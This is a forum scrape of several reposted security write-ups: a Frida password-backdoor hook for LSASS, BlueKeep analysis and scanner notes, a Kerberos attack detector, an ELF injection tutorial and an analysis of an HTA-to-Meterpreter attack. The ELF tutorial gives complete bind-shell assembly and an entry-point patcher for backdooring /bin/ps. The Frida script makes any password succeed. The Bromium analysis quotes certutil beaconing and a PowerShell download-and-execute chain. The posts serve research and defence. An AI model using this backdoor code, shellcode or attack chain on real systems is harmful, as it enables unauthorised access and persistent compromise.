MsvpPasswordValidate function, only to find out that this method is well known for password backdoors! In fact, it’s the same method used by Inception for authentication bypasses. Awesome, I may be on the right track after all. I couldn’t quickly find a function prototype for MsvpPasswordValidate online, but a quick look in IDA free hinted towards the fact that MsvpPasswordValidate may expect seven arguments. I figured now would be a good time to hook those, and log the return value. MsvpPasswordValidate argument and return value dump Using runas /user:user cmd from a command prompt and providing the correct password for the account, MsvpPasswordValidate would return 0x1, whereas providing an incorrect password would return 0x0. Seems easy enough? I modified the existing hook to simply change the return value of MsvpPasswordValidate to always be 0x1. Doing this, I was able to authenticate using any password for any valid user account, even when using network authentication! Successful authentication, with any password for a valid user account // from: https://github.com/sensepost/frida-windows-playground/blob/master/MsvpPasswordValidate_backdoor.js const MsvpPasswordValidate = Module.getExportByName(null, 'MsvpPasswordValidate'); console.log('MsvpPasswordValidate @ ' + MsvpPasswordValidate); Interceptor.attach(MsvpPasswordValidate, { onLeave: function (retval) { retval.replace(0x1); } }); creating standalone Frida executables The hooks we have built so far depend heavily on the Frida python modules. This is not something you would necessarily have available on an arbitrary Windows target, making the practically of using this rather complicated. We could use something like py2exe, but that comes with its own set of bloat and things to avoid. Instead, we could build a standalone executable that bypasses the need for a python runtime entirely, in C. The main Frida source repository contains some example code for those that want to make use of the lower level bindings here. When choosing to go down this path, you will need decide between two types of C bindings; the one that includes the V8 JavaScript engine (frida-core/frida-gumjs), and one that does not (frida-gum). When using frida-gum, instrumentation needs to be implemented using a C API, skipping the JavaScript engine layer entirely. This has obvious wins when it comes to overall binary size, but increases the implementation complexity a little bit. Using frida-core, we could simply reuse the JavaScript hook we have already written, embedding it in an executable. But, we will be packaging the V8 engine with our executable, which is not great from a size perspective. A complete example of using frida-core is available here, and that is what I used as a template. The only thing I changed was how a target process ID was determined. The original code accepted a process ID as an argument, but I changed that to determine it using frida_device_get_process_by_name_sync, providing lsass.exe as the actual process PID I was interested in. The definition for this function lived in frida-core.h which you can get as part of the frida-core devkit download. Next, I embedded the MsvpPasswordValidate bypass hook and compiled the project using Visual Studio Community 2017. The result? A beefy 44MB executable that would now work regardless of the status of a Python installation. Maybe py2exe wasn’t such a bad idea after all… Passback binary, in all of its 44mb glory, injected into LSASS.exe to allow for local authentication using any password Some work could be done to optimise the overall size of the resultant executable, but this would involve rebuilding the frida-core devkit from source and stripping the pieces we won’t need. An exercise left for the reader, or for me, for another day. If you are interested in building this yourself, have a look at the source code repository for passback here, opening it in Visual Studio 2017 and hitting “build”. summary If you got here, you saw how it was possible to recreate two well-known password backdoors on Windows based computers using Frida. The real world merits of where this may be useful may be small, but I believe the journey getting there is what was important. A Github repository with all of the code samples used in this post is available here. Sursa: https://sensepost.com/blog/2019/recreating-known-universal-windows-password-backdoors-with-frida/
-
Windows Insight: The TPM The Windows Insight repository currently hosts three articles on the TPM (Trusted Platform Module): The TPM: Communication Interfaces (Aleksandar Milenkoski? In this work, we discuss how the different components of the Windows 10 operating system deployed in user-land and in kernel-land, use the TPM. We focus on the communication interfaces between Windows 10 and the TPM. In addition, we discuss the construction of TPM usage profiles, that is, information on system entities communicating with the TPM as well as on communication patterns and frequencies; The TPM: Integrity Measurement (Aleksandar Milenkoski? In this work, we discuss the integrity measurement mechanism of Windows 10 and the role that the TPM plays as part of it. This mechanism, among other things, implements the production of measurement data. This involves calculation of hashes of relevant executable files or of code sequences at every system startup. It also involves the storage of these hashes and relevant related data in log files for later analysis; The TPM: Workflow of the Manual and Automatic TPM Provisioning Processes (Aleksandar Milenkoski? In this work, we describe the implementation of the TPM provisioning process in Windows 10. We first define the term TPM provisioning in order to set the scope of this work. Under TPM provisioning, we understand activities storing data in the TPM device, where the stored data is a requirement for the device to be used. This includes: authorization values, the Endorsement Key (EK), and the Storage Root Key (SRK). – Aleksandar Milenkoski Sursa: https://insinuator.net/2019/05/windows-insight-the-tpm/
-
In this talk we will explore how file formats can be abused to target the security of an end user or server, without harming a CPU register or the memory layout with a focus on the OpenDocument file format. At first a short introduction to file formats bug hunting will be given, based on my own approach. This will cover my latest Adobe PDF reader finding and will lead up to my discovery of a remote code execution in Libreoffice. It shows how a simple path traversal issue allowed me to abuse the macro feature to execute a python script installed by libreoffice and abuse it to execute any local program with parameters without any prompt. Additionally other supported scripting languages in Libreoffice as well as other interesting features will be explored and differences to OpenOffice. As software like Imagemagick is using libreoffice for file conversion, potential security issue on the server side will be explained as well. This focuses on certain problems and limitations an attacker has to work with regarding the macro support and other threats like polyglot files or local file path informations. Lastly the potential threats will be summed up to raise awareness regarding any support for file formats and what precausions should be taken. About Alex Inführ Alex Inführ As a Senior Penetration Tester with Cure53, Alex is an expert on browser security and PDF security. His cardinal skillset relates to spotting and abusing ways for uncommon script execution in MSIE, Firefox and Chrome. Alex’s additional research foci revolve around SVG security and Adobe products used in the web context. He has worked with Cure53 for multiple years with a focus on web security, JavaScript sandboxes and file format issues. He presented his research at conferences like Appsec Amsterdam, Appsec Belfast, ItSecX and mulitple OWASP chapters. As part of his research as a co-author for the 'Cure53 Browser Security White Paper', sponsored by Google, he investigated on the security of browser extensions. About Security Fest 2019 May 23rd - 24th 2019 This summer, Gothenburg will become the most secure city in Sweden! We'll have two days filled with great talks by internationally renowned speakers on some of the most cutting edge and interesting topics in IT-security! Our attendees will learn from the best and the brightest, and have a chance to get to know each other during the lunch, dinner, after-party and scheduled breaks. Please note that you have to be at least 18 years old to attend. Highlights of Security Fest Interesting IT-security talks by renowned speakers Lunch and dinner included Great CTF with nice prizes Awesome party! Venue Security Fest is held in Eriksbergshallen in Gothenburg, with an industrial decor from the time it was used as a mechanical workshop. Right next to the venue, you can stay at Quality Hotel 11.
-
Danger of using fully homomorphic encryption - Zhiniang Peng Evolving Attacker Techniques in Cryptocurrency User Targeting - Philip Martin (SAP) Gateway to Heaven - Dmitry Chastuhin & Mathieu Geli Practical Uses for Memory Visualization - Ulf Frisk Modern Secure Boot Attacks - Alex Matrosov Trade War Shellcode Wielding of Imports and Exports - Willi Ballenthin Using Symbolic Execution to Root Routers - Mathy Vanhoef Automated Reverse Engineering of Industrial Control Systems Binaries - Mihalis Maniatakos Lions at the watering hole - Andrei Boz WhatsApp Digger - Deemah, Lamyaa, Malak, Sarah Next-gen IoT botnets - Alex "Jay" Balan Sursa:
-
Windows Privilege Escalation 0day (not fixed) Download: https://github.com/SandboxEscaper/polarbearrepo
-
- 1
-
-
RDP Stands for “Really DO Patch!” – Understanding the Wormable RDP Vulnerability CVE-2019-0708 By Eoin Carroll, Alexandre Mundo, Philippe Laulheret, Christiaan Beek and Steve Povolny on May 21, 2019 During Microsoft’s May Patch Tuesday cycle, a security advisory was released for a vulnerability in the Remote Desktop Protocol (RDP). What was unique in this particular patch cycle was that Microsoft produced a fix for Windows XP and several other operating systems, which have not been supported for security updates in years. So why the urgency and what made Microsoft decide that this was a high risk and critical patch? According to the advisory, the issue discovered was serious enough that it led to Remote Code Execution and was wormable, meaning it could spread automatically on unprotected systems. The bulletin referenced well-known network worm “WannaCry” which was heavily exploited just a couple of months after Microsoft released MS17-010 as a patch for the related vulnerability in March 2017. McAfee Advanced Threat Research has been analyzing this latest bug to help prevent a similar scenario and we are urging those with unpatched and affected systems to apply the patch for CVE-2019-0708 as soon as possible. It is extremely likely malicious actors have weaponized this bug and exploitation attempts will likely be observed in the wild in the very near future. Vulnerable Operating Systems: Windows 2003 Windows XP Windows 7 Windows Server 2008 Windows Server 2008 R2 Worms are viruses which primarily replicate on networks. A worm will typically execute itself automatically on a remote machine without any extra help from a user. If a virus’ primary attack vector is via the network, then it should be classified as a worm. The Remote Desktop Protocol (RDP) enables connection between a client and endpoint, defining the data communicated between them in virtual channels. Virtual channels are bidirectional data pipes which enable the extension of RDP. Windows Server 2000 defined 32 Static Virtual Channels (SVCs) with RDP 5.1, but due to limitations on the number of channels further defined Dynamic Virtual Channels (DVCs), which are contained within a dedicated SVC. SVCs are created at the start of a session and remain until session termination, unlike DVCs which are created and torn down on demand. It’s this 32 SVC binding which CVE-2019-0708 patch fixes within the _IcaBindVirtualChannels and _IcaRebindVirtualChannels functions in the RDP driver termdd.sys. As can been seen in figure 1, the RDP Connection Sequence connections are initiated and channels setup prior to Security Commencement, which enables CVE-2019-0708 to be wormable since it can self-propagate over the network once it discovers open port 3389. Figure 1: RDP Protocol Sequence The vulnerability is due to the “MS_T120” SVC name being bound as a reference channel to the number 31 during the GCC Conference Initialization sequence of the RDP protocol. This channel name is used internally by Microsoft and there are no apparent legitimate use cases for a client to request connection over an SVC named “MS_T120.” Figure 2 shows legitimate channel requests during the GCC Conference Initialization sequence with no MS_T120 channel. Figure 2: Standard GCC Conference Initialization Sequence However, during GCC Conference Initialization, the Client supplies the channel name which is not whitelisted by the server, meaning an attacker can setup another SVC named “MS_T120” on a channel other than 31. It’s the use of MS_T120 in a channel other than 31 that leads to heap memory corruption and remote code execution (RCE). Figure 3 shows an abnormal channel request during the GCC Conference Initialization sequence with “MS_T120” channel on channel number 4. Figure 3: Abnormal/Suspicious GCC Conference Initialization Sequence – MS_T120 on nonstandard channel The components involved in the MS_T120 channel management are highlighted in figure 4. The MS_T120 reference channel is created in the rdpwsx.dll and the heap pool allocated in rdpwp.sys. The heap corruption happens in termdd.sys when the MS_T120 reference channel is processed within the context of a channel index other than 31. Figure 4: Windows Kernel and User Components The Microsoft patch as shown in figure 5 now adds a check for a client connection request using channel name “MS_T120” and ensures it binds to channel 31 only(1Fh) in the _IcaBindVirtualChannels and _IcaRebindVirtualChannels functions within termdd.sys. Figure 5: Microsoft Patch Adding Channel Binding Check After we investigated the patch being applied for both Windows 2003 and XP and understood how the RDP protocol was parsed before and after patch, we decided to test and create a Proof-of-Concept (PoC) that would use the vulnerability and remotely execute code on a victim’s machine to launch the calculator application, a well-known litmus test for remote code execution. Figure 6: Screenshot of our PoC executing For our setup, RDP was running on the machine and we confirmed we had the unpatched versions running on the test setup. The result of our exploit can be viewed in the following video: There is a gray area to responsible disclosure. With our investigation we can confirm that the exploit is working and that it is possible to remotely execute code on a vulnerable system without authentication. Network Level Authentication should be effective to stop this exploit if enabled; however, if an attacker has credentials, they will bypass this step. As a patch is available, we decided not to provide earlier in-depth detail about the exploit or publicly release a proof of concept. That would, in our opinion, not be responsible and may further the interests of malicious adversaries. Recommendations: We can confirm that a patched system will stop the exploit and highly recommend patching as soon as possible. Disable RDP from outside of your network and limit it internally; disable entirely if not needed. The exploit is not successful when RDP is disabled. Client requests with “MS_T120” on any channel other than 31 during GCC Conference Initialization sequence of the RDP protocol should be blocked unless there is evidence for legitimate use case. It is important to note as well that the RDP default port can be changed in a registry field, and after a reboot will be tied the newly specified port. From a detection standpoint this is highly relevant. Figure 7: RDP default port can be modified in the registry Malware or administrators inside of a corporation can change this with admin rights (or with a program that bypasses UAC) and write this new port in the registry; if the system is not patched the vulnerability will still be exploitable over the unique port. McAfee Customers: McAfee NSP customers are protected via the following signature released on 5/21/2019: 0x47900c00 “RDP: Microsoft Remote Desktop MS_T120 Channel Bind Attempt” If you have any questions, please contact McAfee Technical Support. Sursa: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/
-
CVE-2019-0708 CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. In this repo A scanner fork of rdesktop that can detect if a host is vulnerable to CVE-2019-0708 Microsoft Windows Remote Desktop Services Remote Code Execution vulnerability. It shouldn't cause denial-of-service, but there is never a 100% guarantee across all vulnerable versions of the RDP stack over the years. The code has only been tested on Linux and may not work in other environments (BSD/OS X), and requires the standard X11 GUI to be running (though the RDP window is hidden for convenience). There is also a Metasploit module, which is a current work in progress (MSF does not have an RDP library). Building There is a pre-made rdesktop binary in the repo, but the steps to building from source are as follows: git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure --disable-credssp --disable-smartcard make ./rdesktop 192.168.1.7:3389 Please refer to the normal rdesktop compilation instructions. Is this dangerous? Small details of the vulnerability have already begun to reach mainstream. This tool does not grant attackers a free ride to a theoretical RCE. Modifying this PoC to trigger the denial-of-service does lower the bar of entry but will also require some amount of effort. We currently offer no explanation of how this scanner works other than to tell the user it seems to be accurate in testing and follows a logical path. System administrators need tools like this to discover vulnerable hosts. This tool is offered for legal purposes only and to forward the security community's understanding of this vulnerability. As it does exploit the vulnerability, do not use against targets without prior permission. License rdesktop fork is licensed as GPLv3. Metasploit module is licensed as Apache 2.0. Sursa: https://github.com/zerosum0x0/CVE-2019-0708
-
- 1
-
-
Why? I needed a simple and reliable way to delete Facebook posts. There are third-party apps that claim to do this, but they all require handing over your credentials, or are unreliable in other ways. Since this uses Selenium, it is more reliable, as it uses your real web browser, and it is less likely Facebook will block or throttle you. As for why you would want to do this in the first place. That is up to you. Personally I wanted a way to delete most of my content on Facebook without deleting my account. Will this really delete posts? I can make no guarantees that Facebook doesn't store the data somewhere forever in cold storage. However this tool is intended more as a way to clean up your online presence and not have to worry about what you wrote from years ago. Personally, I did this so I would feel less attached to my Facebook profile (and hence feel the need to use it less). How To Use Make sure that you have Google Chrome installed and that it is up to date, as well as the chromedriver for Selenium. See here. On Arch Linux you can find this in the chromium package, but it will vary by OS. pip3 install --user delete-facebook-posts deletefb -E "youremail@example.org" -P "yourfacebookpassword" -U "https://www.facebook.com/your.profile.url" The script will log into your Facebook account, go to your profile page, and start deleting posts. If it cannot delete something, then it will "hide" it from your timeline instead. Be patient as it will take a very long time, but it will eventually clear everything. You may safely minimize the chrome window without breaking it. How To Install Python MacOS See this link for instructions on installing with Brew. Linux Use your native package manager Windows See this link, but I make no guarantees that Selenium will actually work as I have not tested it. Bugs If it stops working or otherwise crashes, delete the latest post manually and start it again after waiting a minute. I make no guarantees that it will work perfectly for every profile. Please file an issue if you run into any problems. Sursa: https://github.com/weskerfoot/DeleteFB
-
- 5
-
-
-
Huawei has immediately lost access to Android and Google
Nytro replied to theandruala's topic in Stiri securitate
Android✔@Android For Huawei users' questions regarding our steps to comply w/ the recent US government actions: We assure you while we are complying with all US gov't requirements, services like Google Play & security from Google Play Protect will keep functioning on your existing Huawei device. Via: https://www.gadget.ro/care-sunt-implicatiile-pentru-cei-ce-folosesc-un-smartphone-huawei/ -
Do not run "public" RDP exploits, they are backdored. Edit: PoC-ul pe care il gasiti va executa asta la voi in calculator (Windows only): mshta vbscript:msgbox("you play basketball like caixukun!",64,"K8gege:")(window.close)
-
Real-time detection of high-risk attacks leveraging Kerberos and SMB This is a real-time detection tool for detecting attack against Active Directory. The tools is the improved version of the previous version. Our tool can useful for immediate incident response for targeted attacks. The tool detects the following attack activities using Event logs and Kerberos/SMB packets. Attacks leveraging the vulnerabilities fixed in MS14-068 and MS17-010 Attacks using Golden Ticket Attacks using Silver Ticket The tool is tested in Windows 2008 R2, 2012 R2, 2016. Documentation of the tool is here Tool detail Function of the tool Our tool consists of the following components: Detection Server: Detects attack activities leveraging Domain Administrator privileges using signature based detection and Machine Learning. Detection programs are implemented by Web API. Log Server for Event Logs: Log Server is implemented using Elactic Stack. It collects the Domain Controller’s Event logs in real-time and provide log search and visualization. Log Server for packets: Collect Kerberos packets using tshark. Cpllected packets are sent to Elastic search using Logsrash. Our method consists of the following functions. Event Log analysis Packet analysis Identification of tactics in ATT&CK Event Log analysis If someone access to the Domain Controller including attacks, activities are recorded in the Event log. Each Event Log is sent to Logstash in real-time by Winlogbeat. Logstash extracts input data from the Event log, then call the detection API on Detection Server. Detection API is launched. Firstly, analyze the log with signature detection. Next analyze the log with machine learning. If attack is detected, judge the log is recorded by attack activities. Send alert E-mail to the security administrator, and add a flag indicates attack to the log . Transfer the log to Elasticsearch . Input of the tools: Event logs of the Domain Controller. 4672: An account assigned with special privileges logged on. 4674: An operation was attempted on a privileged object 4688: A new process was created 4768: A Kerberos authentication ticket (TGT) was requested 4769: A Kerberos service ticket was requested 5140: A network share object was accessed Packet analysis If someone access to the Domain Controller including attacks, Kerberos packets are sent to Domain Controller. Tshark collects Kerberos packets. Logstash extracts input data from the packets, then call the detection API on Detection Server. Detection API is launched. Analyze wheter Golden Tickets and Silver Tickets are used from packets. If attack is detected, judge the log is recorded by attack activities. Send alert E-mail to the security administrator, and add a flag indicates attack to the packet . Transfer the packet to Elasticsearch . Input of the tools: Kerberos packets The following is the Kerberos message type used for detection. 11: KRB_AS_REP 12: KRB_TGS_REQ 13: KRB_TGS_REP 14: KRB_AP_REQ 32: KRB_AP_ERR_TKT_EXPIRED Output (result) of the tool Distinguish logs recorded by attack activities from logs recorded by normal operations, and identity infected computers and accounts. The detection result can be checked using Kibana. If attacks are detected, send email alerts to the specific E-mail address. System Requirements We tested our tool in the following environment. Domain Controller (Windows 2008R2/ 2012 R2/ 2016) Winlogbeat(5.4.2): Open-source log analysis platform Log Server for Event Logs: Open-source tools + Logstash pipeline OS: CentOS 7 Logstash(6.5.0): Parse logs, launch the detection program, transfer logs to Elastic Search Elastic Search(6.5.0): Collects logs and provides API interface for log detection Kibana(6.5.0): Visualizes the detection results Log Server for packet analysis: Open-source tools + Logstash pipeline OS: CentOS 7 Logstash(6.5.0): Parse logs, launch the detection program, transfer logs to Elastic Search tshark: Collect and save packets Detection Server: Custom detection programs OS: CentOS 7 Python: 3.6.0 Flask: 0.12 scikit-learn: 0.19.1 How to implement See implementation method Sursa: https://github.com/sisoc-tokyo/Real-timeDetectionAD_ver2
-
- 1
-
-
Injecting shellcode into x64 ELF binaries by matteo_malvica May 18, 2019 Index Intro Inspecting the target Shellcoding our way out ELF-Inject Extra stealthiness Intro Recently, I have decided to tackle another challenge from the Practical Binary Analysis book, which is the latest one from Chapter 7. It asks the reader to create a parasite binary from a legitimate one. I have picked ps, the process snapshot utility, where I have implanted a bind-shell as a child process. Inspecting the target Let’s start our ride by creating a copy of the original executable (can be anyone) into our working folder. $ cp /bin/ps ps_teo And take note of the original entry point. $ readelf -h ps_teo ELF Header: ... Entry point address: 0x402f10 ... We will be replacing the original entry point with the address of our malicious section and restore normal execution after the shellcode has done its job. But, before jumping to that we should plan our shellcode. Shellcoding our way out We said we want a bind shell, right? Here a modified version of a standard x64 bindshell, where we make use of the fork systemcall to spawn a child process. BITS 64 SECTION .text global main section .text main: push rax ; save all clobbered registers push rcx push rdx push rsi push rdi push r11 ;fork xor rax,rax add rax,57 syscall cmp eax, 0 jz child parent: pop r11 ; restore all registers pop rdi pop rsi pop rdx pop rcx pop rax push 0x402f10 ; jump to original entry point ret child: ; socket xor eax,eax xor ebx,ebx xor edx,edx ;socket mov al,0x1 mov esi,eax inc al mov edi,eax mov dl,0x6 mov al,0x29 ; sys_socket (syscall 41) syscall xchg ebx,eax ; bind xor rax,rax push rax push 0x39300102. ; port 12345 mov [rsp+1],al mov rsi,rsp mov dl,16 mov edi,ebx mov al,0x31 ; sys_bind (syscall 49) syscall ;listen mov al,0x5 mov esi,eax mov edi,ebx mov al,0x32 ; sys_listen (syscall 50) syscall ;accept xor edx,edx xor esi,esi mov edi,ebx mov al,0x2b ; sys_accept (43) syscall mov edi,eax ; store socket ;dup2 xor rax,rax mov esi,eax mov al,0x21 ; sys_dup2 (syscall 33) syscall inc al mov esi,eax mov al,0x21 syscall inc al mov esi,eax mov al,0x21 syscall ;exec xor rdx,rdx mov rbx,0x68732f6e69622fff shr rbx,0x8 push rbx mov rdi,rsp xor rax,rax push rax push rdi mov rsi,rsp mov al,0x3b ; sys_execve (59) syscall call exit exit: mov ebx,0 ; Exit code mov eax,60 ; SYS_EXIT int 0x80 We start by saving all registers, then we call the child routine and we finish by restoring execution to the original entry point. Let’s now create a raw binary from this NASM file, which can be used by our injection process later on. nasm -f bin -o bind_shell.bin bind_shell.s ELF-Inject Our very next step is to inject a bind-shell into the ps ELF via a tool named aptly ELF Inject, which is available from the book source code. ./elfinject ps_teo bind_shell.bin ".injected" 0x800000 -1 If we inspect the binary once more, we can notice the new .injected section around location 0x800000 $ readelf --wide --headers ps_teo | grep injected [27] .injected PROGBITS 0000000000800c80 017c80 0000b0 00 AX 0 0 16 Guess what? The value 800c80 is going to be our new entry point. I wrote a quick and dirt script that patch the entry-point on the fly. import sys import binascii # usage: ep_patcher.py -filename -new_entrypoint patch_file_input = sys.argv[1] new_ep = sys.argv[2] new_ep = binascii.unhexlify(new_ep) with open(patch_file_input, 'rb+') as f: f.seek(24) f.write(new_ep) We can test it and. . . python patcher.py ps_teo 800c80 . . .we can verify that the new entry point has been modified correctly: $ readelf -h ps_teo ELF Header: ... Entry point address: 0x800c80 ... After we ran the injected version of ps, we can notice a new listening socket on port 12345: $ netstat -antulp | grep 12345 tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 6898/ps_teo Which leads to the expected backdoor: $ nc localhost 12345 id uid=1000(binary) gid=1000(binary) groups=1000(binary),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) whoami binary Extra stealthiness If we would like to hide from ps or top we could go even further and revise the whole shellcode to force it alter the /proc/ folder like this or that one. Sursa: https://www.matteomalvica.com/blog/2019/05/18/elf-injection/
-
- 1
-
-
Congratulations, You’ve Won a Meterpreter Shell by Alex Holland on May 17, 2019 Posted by Josh Stroschein, Ratnesh Pandey and Alex Holland. For an attack to succeed undetected, attackers need to limit the creation of file and network artifacts by their malware. In this post, we analyse an attack that illustrates two popular tactics to evade detection: Avoiding saving file artifacts to disk by running malicious code directly in memory. These have been described as “fileless” attacks.[1] Using legitimate programs built into an operating system to perform or facilitate malicious functionality, such as code execution, persistence, lateral movement and command and control (C2). The abuse of these programs is known as “living-off-the-land”.[2] Our attack began with a user clicking on a hyperlink that took them to a website hosting a malicious HTA (HTML Application) file. The HTA file led to the execution of two stages of shellcode that ultimately resulted in a Meterpreter reverse HTTP shell session being established with a C2 server. The attack was successfully contained, however, because Bromium Secure Platform (BSP) isolates risky activities such as opening a web page within a micro-virtual machine. Consequently, the attacker was unable to gain a foothold in the network. Although the use of HTA files is a well-understood technique to execute malicious code,[3] we thought this attack was worth exploring because of the steps the attacker took to reduce the footprint of the attack. These included executing multiple stages of shellcode directly in memory, applying information gained from reconnaissance of the target to disguise the attacker’s network traffic, and the use of living-off-the-land binaries. It begins with an HTA file After clicking the hyperlink, the target is prompted to save a file named sweepstakeApp.hta to disk. If the site is visited using Internet Explorer the target is prompted to run or save the file from their web browser (figure 1). This is significant because HTA files can only be opened directly from Internet Explorer or from Windows Explorer using Microsoft HTML Application Host (mshta.exe), but not from other web browsers. The decision to use an HTA file as the vector to execute the attacker’s code suggests a level of knowledge about how the targeted host was configured, such as the default web browser in use. HTA files allow developers to use the functionality of Internet Explorer’s engine, including its support for scripting languages such as VBScript and JavaScript, without its user interface and security features.[4] Figure 1 – Prompt to open or save malicious HTA file in Internet Explorer. The downloaded HTA file contains obfuscated VBScript code, as shown in figure 2. On execution, it launches two commands using powershell.exe and cmd.exe by instantiating a WScript.Shell object that enables scripts to interact with parts of the Windows shell. Meanwhile the user is shown a pop-up window with the supposed results of a gift card sweepstake (figure 3). Figure 2 – Obfuscated VBScript code in the HTA file. Figure 3 – Pop-up presenting the decoy application to the user. The first command downloads an obfuscated PowerShell command from a URL using PowerShell’s WebClient.DownloadString method and then executes it in memory using the alias of the Invoke-Expression cmdlet, IEX. Figure 4 – PowerShell command that downloads and runs an obfuscated script in memory. Figure 5 – Obfuscated command downloaded using PowerShell. Verifying the first stage of the infection The second command launches a cmd.exe process which then runs certutil.exe, another program built into Windows which is used for managing digital certificates. The utility can also be used to download a file from a remote server. For example, by using the following command an attacker can download a file and save it locally: certutil.exe -urlcache -split -f [URL] DestinationFile In this case, however, the provided URL parameter was generated using %USERDOMAIN% and %USERNAME% environment variables on the target system and the destination file is called “null”. Figure 6 – Certutil command to inform adversary of successful running of HTA file. Navigating to the URL returns an HTTP 404 status code. Therefore, instead of downloading a file, this command is used to notify the attacker that the HTA file has successfully executed by sending a GET request to a web server controlled by the attacker containing the username and domain of the target host. The attacker can simply monitor their web server logs to determine which users successfully ran the HTA file. Analysis of the obfuscated PowerShell command The command downloaded by the PowerShell contains a compressed Base64 encoded string. After decoding and decompressing the string, it reveals another PowerShell command shown in figure 7. Figure 7 – Deobfuscated PowerShell command. The command in figure 7 contains an obfuscated string. First, the string is decoded from Base64. The result is then converted into a byte array and stored in a variable called $var_code. Finally, the script enters a For loop that iterates through the byte array and performs a bitwise XOR operation on each byte with a hard-coded value of 35 (base 10). Figure 8 – For loop performing bitwise XOR operations on the byte array in $var_code. Following deobfuscation, the output in figure 9 is produced. You can spot several recognisable strings including a web browser user agent, IP address and URL. Figure 9 – First stage shellcode. This is the first stage of shellcode, which PowerShell executes in memory using the delegate function VirtualAlloc. The function call allocates memory with a flAllocationType of 3000 (MEM_RESERVED and MEM_COMMIT) and memory protection permissions of PAGE_EXECUTE_READWRITE. First stage shellcode analysis Emulating the first stage of shellcode in scdbg reveals its functionality (figure 10). A call to LoadLibraryA is used to load the WinINet module into the process space of the calling process, in this case powershell.exe. WinINet is a standard Windows API that is used by software to communicate with resources on the Internet over HTTP and FTP protocols. Next a call to InternetOpenA is made to initialise a network connection. This is followed by a call to InternetConnectA, which opens a HTTPS session to a remote server over TCP port 443. Afterwards, a HttpOpenRequestA is called to create a HTTP request to retrieve an object from the server (/pwn32.gif?pwnd=true). Since the lpszVerb parameter is null, the request will use the GET method. Several options are then configured using InternetSetOptionA. Finally, the request is sent in the call to HttpSendRequestA. We can see that a custom user agent string was defined, along with a cookie value: Cookie: Session User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko The user agent string corresponds to Internet Explorer 11 on Windows 10. Significantly, the user agent string matches the version of Internet Explorer used on the targeted host, which is another indicator of the attacker’s knowledge of the targeted network. By mimicking the user agent string, the network traffic generated by the malware is more likely to blend in with the target organisation’s legitimate traffic. Figure 10 – First stage shellcode emulated in scdbg. Decompiling the shellcode confirms the findings of scdbg. The shellcode begins with typical position independent code (PIC) behaviour by calling function sub_88, whose first instruction is to load the top of the stack into the EBP register. This allows for the code to figure out a base address because the CALL instruction places the address of the next instruction onto the stack (figure 11). Figure 11 – Call to sub_88. Figure 12 – Popping the value at the top of the stack to EBP. The malware author used stack strings to generate strings on the stack, although they appear to be used sparingly in the shellcode. This is an easy way of creating and using strings in shellcode, while also making the functionality of the shellcode harder to discover using standard string-finding utilities. Figure 12 shows the use of a stack string, which is used as an argument to a Windows API function call. Resolving functions is also an important first step for shellcode. Since shellcode doesn’t go through the process of loading as a normal executable, it must resolve function addresses independently. This is often accomplished by using undocumented structures within a process and manually walking the export table of already loaded libraries. In addition, many shellcode authors will avoid using strings to find the functions they need. Instead, they’ll use pre-computed hash values. Their code will then compute the hash value of the library they need functions from and compare the hashes. This is not only a computationally inexpensive way of finding functions, but also complicates analysis as the analyst must correlate the hashes to the functions they represent. Figure 12 demonstrates the use of this technique, in that a seemingly random 4-byte value is pushed onto the stack before the call to EBP. EBP will contain the address of the function responsible for finding the desired function pointers and eventually executing those functions. Figure 13 – Stack strings. The call to EBP is the address after the original call instruction. This code begins by obtaining a pointer to the process environment block, or PEB, structure via FS:30h. This structure allows the code to obtain a doubly linked list of all libraries loaded in the process space. Walking this structure allows the code to find the base address of any library, then walk the export table to find function pointers. Therefore, this function is responsible for using the pre-computed hash to find all the functions called throughout the code and will be used repeatedly throughout. If unfamiliar with how shellcode uses the PEB structure and parses the portable executable (PE) file format to find function pointers, it’s worth spending some time analysing this function. However, there is no need to get lost in this function for the purposes of this analysis. Instead, evidence of a non-standard function return can help determine when the function is done and allow an analyst to focus on tracing through the shellcode effectively. In this shellcode there is a non-standard return at the end – which is a JMP EAX (figure 14). Figure 14 – Non-standard return. At this point, the code is going to JMP into whatever function was resolved. You can use this function to help identify the functions called throughout the code. Figure 15 – Function to resolve API names. Further functions are called through the calls to EBP, with the appropriate arguments being placed on the stack before the call. This shellcode carries out the task of creating an HTTP reverse shell. To do that, it will use many core HTTP functions found within the WinINet library. This is in fact shellcode for the first stage of a Meterpreter reverse HTTP shell payload.[5] The default behavior of a Metasploit reverse shell comes in two stages. The first, analysed above, functions as a downloader which grabs the second stage, which is the Meterpreter payload. Functions used in this shellcode: LoadLibrary(WinINet) InternetOpenA InternetConnectA HttpOpenRequestA InternetSetOptionA HttpSendRequestA GetDesktopWindow InternetErrorDlg VirtualAllocStub InternetReadFile Figure 16 – Process interaction graph as viewed in Bromium Controller. Figure 17 – High severity events generated during the life cycle of this threat. Mitigation Endpoints that are running Bromium are protected from this threat because every user task, such as running an HTA file, is run in its own isolated micro-virtual machine or μVM. When the user closes a μVM, the virtual machine is destroyed along with the malware. The trace of threat data from the attack is recorded and presented in the Bromium Controller, enabling security teams to quickly gain detailed insights into the threats facing their organisations. References [1] https://zeltser.com/fileless-attacks/ [2] https://lolbas-project.github.io/ [3] https://attack.mitre.org/techniques/T1170/ [4] https://docs.microsoft.com/en-us/previous-versions//ms536471(v=vs.85) [5] https://github.com/rapid7/metasploit-framework/wiki/Meterpreter The post Congratulations, You’ve Won a Meterpreter Shell appeared first on Bromium. Sursa: https://securityboulevard.com/2019/05/congratulations-youve-won-a-meterpreter-shell/
-
- 1
-
-
